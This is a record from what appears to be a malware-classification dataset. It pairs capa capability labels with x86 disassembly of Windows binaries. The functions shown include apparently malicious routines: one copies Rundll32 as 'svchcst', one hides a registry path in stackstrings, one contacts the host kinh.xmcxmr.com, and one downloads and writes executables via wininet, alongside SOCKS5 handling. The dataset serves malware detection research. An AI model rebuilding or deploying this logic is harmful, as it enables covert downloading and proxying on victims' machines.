joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005470
Capabilities:
Copy file
Get common file path

Disassembly:
sub esp, 0x8a4
lea ecx, [esp + 0x2a0]
push esi
mov esi, dword [esp + 0x8b0]
push 0x100
mov eax, dword [esi]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edx, dword [esi]
push 0x100
lea eax, [esp + 0x2b4]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea ecx, [esp + 0x2a4]
push 0x100053d0
push ecx
call dword [0x1000df24]
test eax, eax
mov dword [0x1000dfe0], eax
je 0x10005686
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push 0
push 2
call fcn.10005370
push 0
push 0
push 4
call fcn.10005370
add esp, 0x18
lea edx, [esp + 8]
mov dword [esp + 8], 0x94
push edx
call dword [0x1000ded8]
cmp dword [esp + 0x18], 2
jne 0x10005666
cmp dword [esp + 0xc], 6
jae 0x1000551b
call sym.MainDll.dll_MainThread
jmp 0x10005666
lea eax, [esp + 0x9c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 0x9c]
push str.svchcst
push ecx
lea edx, [esp + 0xa4]
push str._s_s.exe
push edx
call dword [0x1000df08]
add esp, 0x10
lea eax, [esp + 0x1a0]
push 0x104
push eax
call dword [0x1000dee8]
lea ecx, [esp + 0x1a0]
push str.Rundll32.exe
push ecx
call dword [0x1000deb4]
lea edx, [esp + 0x9c]
push 1
lea eax, [esp + 0x1a4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x9c]
push ecx
call fcn.10008a90
add esp, 4
test eax, eax
jne 0x100055bc
lea edx, [esp + 0x1a0]
lea eax, [esp + 0x9c]
push edx
push eax
call dword [0x1000df08]
add esp, 8
mov edx, dword [0x1000de68]
lea ecx, [esp + 0x3a4]
push 0x104
xor esi, esi
push ecx
push edx
mov dword [esp + 0x10], esi
call dword [0x1000de9c]
lea eax, [esp + 0x3a4]
lea ecx, [esp + 0x9c]
push eax
push ecx
lea edx, [esp + 0x4b0]
push str._s___s__MainThread
push edx
call dword [0x1000df08]
add esp, 0x10
push 0x3e8
call dword [0x1000deb0]
lea eax, [esp + 4]
push eax
push esi
call dword [0x1000dedc]
cmp dword [esp + 4], 0x103
je 0x10005647
push esi
call dword [0x1000deac]
push 0xbb8
call dword [0x1000deb0]
lea ecx, [esp + 0x4a8]
push ecx
call fcn.100027e0
add esp, 4
mov esi, eax
mov eax, dword [0x1000dfdc]
cmp eax, 3
je 0x10005656
cmp eax, 1
jne 0x10005602
push 0xffffffffffffffff
push esi
call dword [0x1000debc]
push esi
call dword [0x1000deac]
push 0x64
call dword [0x1000deb0]
mov eax, dword [0x1000dfdc]
cmp eax, 3
je 0x10005686
cmp eax, 1
je 0x10005686
mov eax, dword [0x1000e0e8]
test eax, eax
je 0x10005666
pop esi
add esp, 0x8a4
ret 8
Function at 0x10005690
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov al, 0x4f
lea ecx, [esp + 4]
mov byte [esp + 5], al
mov byte [esp + 0xd], al
lea eax, [esp]
mov byte [esp + 4], 0x53
push eax
push 0xf003f
push 0
push ecx
push 0x80000002
mov byte [esp + 0x1a], 0x46
mov byte [esp + 0x1b], 0x54
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x41
mov byte [esp + 0x1e], 0x52
mov byte [esp + 0x1f], 0x45
mov byte [esp + 0x20], 0x5c
mov byte [esp + 0x22], 0x44
mov byte [esp + 0x23], 0x42
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10005701
xor eax, eax
add esp, 0x14
ret 0xc
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
cmp eax, 1
mov dword [0x1000de68], edx
jne 0x10005749
mov ecx, 0x1000de70
call fcn.10006b50
push 0x946
push 0x458
push str.kinh.xmcxmr.com
call fcn.100049e0
push 0x946
push 0x458
push str.kinh.xmcxmr.com
call fcn.10004a30
add esp, 0x18
mov eax, 1
add esp, 0x14
ret 0xc
Function at 0x10007170
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push edi
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x1000a260
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edx, edx
mov ecx, 0xc
xor eax, eax
lea edi, [esi + 8]
mov dword [esi + 0x70], edx
mov dword [esi + 0x6c], 0xffffffff
mov dword [esi + 4], edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0xc
xor eax, eax
lea edi, [esi + 0x3a]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x19c]
stosw word es:[edi], ax
mov dword [esi + 0x78], edx
mov dword [esi + 0x7c], edx
mov byte [esi + 0x80], dl
lea edx, [esi + 0x84]
push edx
mov dword [esi + 0x9c], ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret 4

Function at 0x100072f0
Capabilities:
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov eax, dword [esp + 0x28]
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea ecx, [esp + 8]
mov esi, eax
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 1
je 0x10007337
lea edx, [esp + 8]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x10007350
Capabilities:
Query service status

Disassembly:
sub esp, 0x1c
push edi
mov ecx, 6
xor eax, eax
lea edi, [esp + 8]
mov dword [esp + 4], 0
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x24]
lea eax, [esp + 4]
push eax
push 0x80000000
push ecx
push 0x80000000
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
pop edi
je 0x100073aa
mov ecx, dword [esp + 4]
xor eax, eax
cmp ecx, 4
sete al
add esp, 0x1c
ret
xor eax, eax
add esp, 0x1c
ret
Function at 0x10008600
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10008612
ret 4
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret 4

Function at 0x100087c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push eax
push esi
mov ebx, ecx
push edi
call fcn.100083f0
test eax, eax
je 0x10008848
cmp eax, 4
jne 0x100087e8
pop edi
pop esi
pop ebx
ret 0x14
mov ecx, dword [edi]
push 0
push 0x5000
push esi
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10008848
test eax, eax
je 0x10008848
cmp byte [esi], 5
jne 0x10008848
mov cl, byte [esi + 3]
cmp cl, 1
je 0x10008814
cmp cl, 3
jne 0x10008848
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
mov ecx, ebx
call fcn.10008630
test eax, eax
je 0x10008848
mov al, byte [esi + 1]
cmp al, 1
je 0x1000883d
cmp al, 3
jne 0x10008848
pop edi
pop esi
and eax, 0xff
pop ebx
ret 0x14
pop edi
pop esi
xor eax, eax
pop ebx
ret 0x14

Function at 0x100088f0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x20]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 0x20]
push ecx
push 0x10008860
push edx
push eax
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov ecx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x10008960
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.ini.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov edx, dword [esp + 0x118]
mov ecx, ebx
and ecx, 3
lea eax, [esp + 0xc]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x11c]
push eax
push ecx
push edx
push str.2024_11_17_11:17
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x100089f0
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.ini.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov edx, dword [esp + 0x120]
mov ecx, ebx
and ecx, 3
lea eax, [esp + 0xc]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x124]
push eax
mov eax, dword [esp + 0x120]
push ecx
mov ecx, dword [esp + 0x120]
push edx
push eax
push ecx
push str.2024_11_17_11:17
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
pop edi
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x10008ac0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000a268
push 0x10009512
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push str.user32.dll
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
mov edi, eax
mov dword [ebp - 0x2c], edi
push str.GetThreadDesktop
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push edi
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push edi
call esi
mov dword [ebp - 0x140], eax
push str.CloseDesktop
push edi
call esi
mov dword [ebp - 0x38], eax
push str.kernel32.dll
call ebx
mov ebx, eax
mov dword [ebp - 0x30], ebx
push str.GetCurrentThreadId
push ebx
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
mov dword [ebp - 4], 0
lea eax, [ebp - 0x34]
push eax
push 0x100
lea ecx, [ebp - 0x13c]
push ecx
push 2
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x20]
test eax, eax
jne 0x10008b79
mov dword [ebp - 0x28], eax
jmp 0x10008b90
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x140]
test eax, eax
jne 0x10008b8c
mov dword [ebp - 0x28], eax
jmp 0x10008b90
push esi
call dword [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call fcn.10008bb6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008c10
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call dword [0x1000defc]
push 0x128
mov edi, eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10008c8a
mov ebp, dword [esp + 0x14]
lea ebx, [esi + 0x24]
push ebp
push ebx
call fcn.10008bd0
add esp, 8
test eax, eax
jne 0x10008c68
mov edi, dword [esi + 8]
push esi
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10008c8a
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10008c55
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10008c73
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x10008d80
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push str.wininet.dll
mov dword [esp + 0x18], ebx
mov dword [esp + 0x24], ebx
mov ebp, 1
mov byte [esp + 0x17], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call edi
push ebx
push ebx
push ebx
push ebx
push str.MSIE_6.0
call eax
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x1c], ebx
je 0x10008df2
push str.InternetOpenUrlA
push esi
call edi
mov ecx, dword [esp + 0x428]
push 0
push 0x80000000
push 0
push 0
push ecx
push ebx
call eax
mov ebx, eax
test ebx, ebx
jne 0x10008e0a
test esi, esi
je 0x10008dfd
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov edx, dword [esp + 0x42c]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x10008ea3
push 0x400
lea eax, [esp + 0x28]
push 0
push eax
call dword [0x1000df8c]
add esp, 0xc
push str.InternetReadFile
push esi
call edi
lea ecx, [esp + 0x14]
lea edx, [esp + 0x24]
push ecx
push 0x400
push edx
push ebx
call eax
test ebp, ebp
je 0x10008e6c
cmp word [esp + 0x24], 0x5a4d
jne 0x10008e93
mov ecx, dword [esp + 0x14]
xor ebp, ebp
lea eax, [esp + 0x20]
push ebp
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x2c]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x10008e98
jmp 0x10008e30
mov byte [esp + 0x13], 0
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call edi
mov edi, eax
push ebx
call edi
mov edx, dword [esp + 0x1c]
push edx
call edi
test esi, esi
je 0x10008eca
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x414
ret
Function at 0x402dec
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404430
test esi, esi
jne 0x402e23
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.00404520
jmp 0x402e44
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402c88
mov dword [esp], eax
test esi, esi
je 0x402e44
cmp dword [ebx], 0
je 0x402e44
dec esi
jmp 0x402e2b
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x4034a8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x44f020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403540
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403520
xor eax, eax
push ebp
push 0x403519
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40355c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403520
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x44f020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x44f020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4042ac
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x451044], 0
je 0x40430d
cmp word [0x451218], 0xd7b2
jne 0x4042d5
cmp dword [0x451220], 0
jbe 0x4042d5
mov eax, 0x451214
call dword [0x451230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x44f06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404334
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x44f030], 0
jne 0x404329
push 0
push 0x44f064
push 0x44f06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x406054
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4060ba
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004046a0
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.0040306c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4060a4
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4060c1
lea eax, [ebp - 0x10]
call fcn.00404430
ret

Function at 0x40b0c8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b101
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404520
jmp 0x40b10a
mov eax, ebx
mov edx, esi
call fcn.00404484
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b114
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b135
mov al, byte [esp]
jmp 0x40b137
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b7cc
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b634
mov eax, dword [0x44fff4]
cmp byte [eax], 0
je 0x40b848
mov eax, dword [0x44fe24]
call fcn.00402ed8
call fcn.00402bb4
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004088b8
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b890
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b87e
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x44fdd4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x451660]
call fcn.004054c0
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40c0ec
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c1c2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004044c8
lea eax, [ebp - 8]
call fcn.00404940
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004048f0
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40c1ac
mov eax, ebx
call fcn.00402a28
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40c1a5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004048f0
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40c18f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40c1d4
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40c18f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c1ac
mov eax, dword [ebp - 0x10]
call fcn.00402a58
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c1c9
lea eax, [ebp - 8]
call fcn.00404430
ret

Function at 0x40c6e0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40c744
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004046a0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004083e0
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c74b
lea eax, [ebp - 0xc]
call fcn.00404430
ret
Function at 0x41aa44
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
lea ebx, [ebp - 0xc]
mov esi, 0x451884
cmp dword [esi], 0
jne 0x41aaea
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov edx, dword [0x451880]
mov dword [eax], edx
mov eax, dword [ebp - 8]
lea edx, [eax + 4]
mov eax, 0x44f3f8
mov ecx, 2
call fcn.00402c48
mov edx, 0x41aa1c
mov eax, dword [ebp - 8]
add eax, 5
call fcn.0041aa3c
mov edx, dword [ebp - 8]
mov dword [edx + 6], eax
mov eax, dword [ebp - 8]
add eax, 0xa
mov dword [ebx], eax
mov eax, dword [ebx]
mov byte [eax], 0xe8
mov eax, dword [ebp - 8]
lea edx, [eax + 4]
mov eax, dword [ebx]
call fcn.0041aa3c
mov edx, dword [ebx]
mov dword [edx + 1], eax
mov eax, dword [ebx]
mov edx, dword [esi]
mov dword [eax + 5], edx
mov eax, dword [ebx]
mov dword [esi], eax
add dword [ebx], 0xd
mov eax, dword [ebx]
sub eax, dword [ebp - 8]
cmp eax, 0xffc
jl 0x41aab1
mov eax, dword [ebp - 8]
mov dword [0x451880], eax
mov eax, dword [esi]
mov dword [ebp - 4], eax
mov eax, dword [esi]
mov dword [ebx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 5]
mov dword [esi], eax
mov eax, dword [ebx]
mov edx, dword [ebp + 8]
mov dword [eax + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [eax + 9], edx
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x41bd10
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41bd16
ret

Function at 0x41e188
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41e1d9
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41e1c0
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41e1b0
jmp 0x41e1d9
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41e1c1
pop ebx
mov esp, ebp
pop ebp
ret